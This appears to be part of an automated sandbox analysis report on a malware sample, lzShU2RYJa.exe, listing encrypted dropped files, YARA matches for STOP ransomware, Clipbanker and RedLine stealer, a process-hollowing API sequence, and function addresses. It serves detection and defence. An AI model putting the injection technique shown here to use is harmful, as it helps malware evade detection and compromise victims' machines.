Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.bgzq (copy) entropy: 7.99405140775	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db.bgzq (copy) entropy: 7.99810454407	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db.bgzq (copy) entropy: 7.99795588332	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db.bgzq (copy) entropy: 7.99666857347	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db.bgzq (copy) entropy: 7.9976742373	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.bgzq (copy) entropy: 7.99359275554	Jump to dropped file
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199673019888[1].htm entropy: 7.9933227322	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 19.2.mstsca.exe.9215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 19.2.mstsca.exe.9215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 26.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 26.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 30.2.mstsca.exe.8f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 30.2.mstsca.exe.8f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 19.2.mstsca.exe.9215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 19.2.mstsca.exe.9215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 25.2.mstsca.exe.8e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 25.2.mstsca.exe.8e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 26.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 26.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 25.2.mstsca.exe.8e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 25.2.mstsca.exe.8e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 16.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 16.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 28.2.mstsca.exe.a715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 28.2.mstsca.exe.a715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 13.2.build3.exe.8915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 13.2.build3.exe.8915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 16.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 16.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 5.2.lzShU2RYJa.exe.5f215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.lzShU2RYJa.exe.5f215a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 29.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 29.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 13.2.build3.exe.8915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 13.2.build3.exe.8915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 28.2.mstsca.exe.a715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 28.2.mstsca.exe.a715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 30.2.mstsca.exe.8f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 30.2.mstsca.exe.8f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 1.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 29.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 29.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 5.2.lzShU2RYJa.exe.5f215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.lzShU2RYJa.exe.5f215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 23.2.lzShU2RYJa.exe.5e615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 23.2.lzShU2RYJa.exe.5e615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.lzShU2RYJa.exe.5de15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 10.2.lzShU2RYJa.exe.5de15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.lzShU2RYJa.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.lzShU2RYJa.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.lzShU2RYJa.exe.5e215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.lzShU2RYJa.exe.5e215a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 24.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 24.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 24.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 24.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 3.2.lzShU2RYJa.exe.5e015a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 3.2.lzShU2RYJa.exe.5e015a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.lzShU2RYJa.exe.5de15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 10.2.lzShU2RYJa.exe.5de15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 3.2.lzShU2RYJa.exe.5e015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 3.2.lzShU2RYJa.exe.5e015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 23.2.lzShU2RYJa.exe.5e615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 23.2.lzShU2RYJa.exe.5e615a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000001D.00000002.3044271197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001D.00000002.3044271197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000003.00000002.1672708440.00000000043EE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000A.00000002.1811694800.0000000004498000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001F.00000002.3649759397.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001F.00000002.3649759397.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000010.00000002.1908589988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000010.00000002.1908589988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000006.00000002.4097772693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000006.00000002.4097772693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000001E.00000002.3650596278.0000000000920000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001C.00000002.3045202111.0000000000A70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001C.00000002.3045202111.0000000000A70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000014.00000002.4097695967.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000014.00000002.4097695967.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000A.00000002.1811861387.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000B.00000002.1824658419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000B.00000002.1824658419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000017.00000002.2073412438.00000000041E0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000018.00000002.2083221508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000018.00000002.2083221508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000013.00000002.2007782778.0000000000920000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000013.00000002.2007782778.0000000000920000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001A.00000002.2400360433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001A.00000002.2400360433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000007.00000002.1751059167.0000000001B1E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000D.00000002.1907561192.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000D.00000002.1907561192.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000005.00000002.1678165141.0000000005F20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001C.00000002.3045395033.0000000000AA0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000005.00000002.1677904681.00000000041D2000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000019.00000002.2401128925.0000000000960000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1643666413.00000000044E0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000D.00000002.1907718184.000000000091D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000019.00000002.2400866034.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000019.00000002.2400866034.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000017.00000002.2074026012.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001E.00000002.3650468673.00000000008F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001E.00000002.3650468673.00000000008F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000013.00000002.2008242016.0000000000B8C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: Process Memory Space: lzShU2RYJa.exe PID: 7328, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: lzShU2RYJa.exe PID: 7344, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: lzShU2RYJa.exe PID: 7448, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: lzShU2RYJa.exe PID: 7464, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: lzShU2RYJa.exe PID: 7472, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: lzShU2RYJa.exe PID: 7540, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: lzShU2RYJa.exe PID: 7780, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: lzShU2RYJa.exe PID: 7832, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: lzShU2RYJa.exe PID: 7320, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: lzShU2RYJa.exe PID: 7432, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E20110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		0_2_05E20110
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E00110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		3_2_05E00110

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_004055E3	0_2_004055E3
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E23520	0_2_05E23520
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E27520	0_2_05E27520
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E4D7F1	0_2_05E4D7F1
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E2A79A	0_2_05E2A79A
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E2C760	0_2_05E2C760
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E2E6E0	0_2_05E2E6E0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E6B69F	0_2_05E6B69F
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E2A699	0_2_05E2A699
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E4D1A4	0_2_05E4D1A4
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E6E141	0_2_05E6E141
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E29120	0_2_05E29120
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E270E0	0_2_05E270E0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E230F0	0_2_05E230F0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E300D0	0_2_05E300D0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E2B0B0	0_2_05E2B0B0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E2A026	0_2_05E2A026
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E3F030	0_2_05E3F030
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E2B000	0_2_05E2B000
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E27393	0_2_05E27393
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E6E37C	0_2_05E6E37C
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05EA22C0	0_2_05EA22C0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E27220	0_2_05E27220
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E25DE7	0_2_05E25DE7
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E25DF7	0_2_05E25DF7
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E62D1E	0_2_05E62D1E
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E54E9F	0_2_05E54E9F
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E28E60	0_2_05E28E60
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E259F7	0_2_05E259F7
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E289D0	0_2_05E289D0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E4E9A3	0_2_05E4E9A3
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E4F9B0	0_2_05E4F9B0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E2A916	0_2_05E2A916
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E418D0	0_2_05E418D0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E27880	0_2_05E27880
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E2DBE0	0_2_05E2DBE0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E22B60	0_2_05E22B60
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E30B00	0_2_05E30B00
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E27A80	0_2_05E27A80
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E2CA10	0_2_05E2CA10
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0040D240	1_2_0040D240
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00419F90	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00405057	1_2_00405057
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0040C070	1_2_0040C070
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0042E003	1_2_0042E003
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0042F010	1_2_0042F010
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00408030	1_2_00408030
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_004070E0	1_2_004070E0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00410160	1_2_00410160
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_004C8113	1_2_004C8113
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_004021C0	1_2_004021C0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_004C9343	1_2_004C9343
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0044237E	1_2_0044237E
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00405447	1_2_00405447
